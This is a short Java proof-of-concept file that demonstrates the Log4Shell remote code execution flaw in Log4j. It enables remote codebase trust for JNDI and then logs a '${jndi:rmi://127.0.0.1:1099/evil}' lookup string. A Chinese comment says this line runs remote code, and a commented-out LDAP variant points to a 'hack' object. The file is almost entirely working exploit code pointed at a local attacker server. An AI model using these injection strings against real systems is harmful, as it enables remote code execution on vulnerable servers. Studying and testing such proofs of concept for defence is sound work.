import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4jRCE {
    private static final Logger logger = LogManager.getLogger(log4jRCE.class);

    public static void main(String[] args) throws InterruptedException {
        logger.error("${java:os}");

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");


        System.out.println(">>>> 以下执行的是远程代码");
        logger.error("${jndi:rmi://127.0.0.1:1099/evil}");

//        logger.error("${jndi:ldap://localhost:1389/hack}");
    }
}
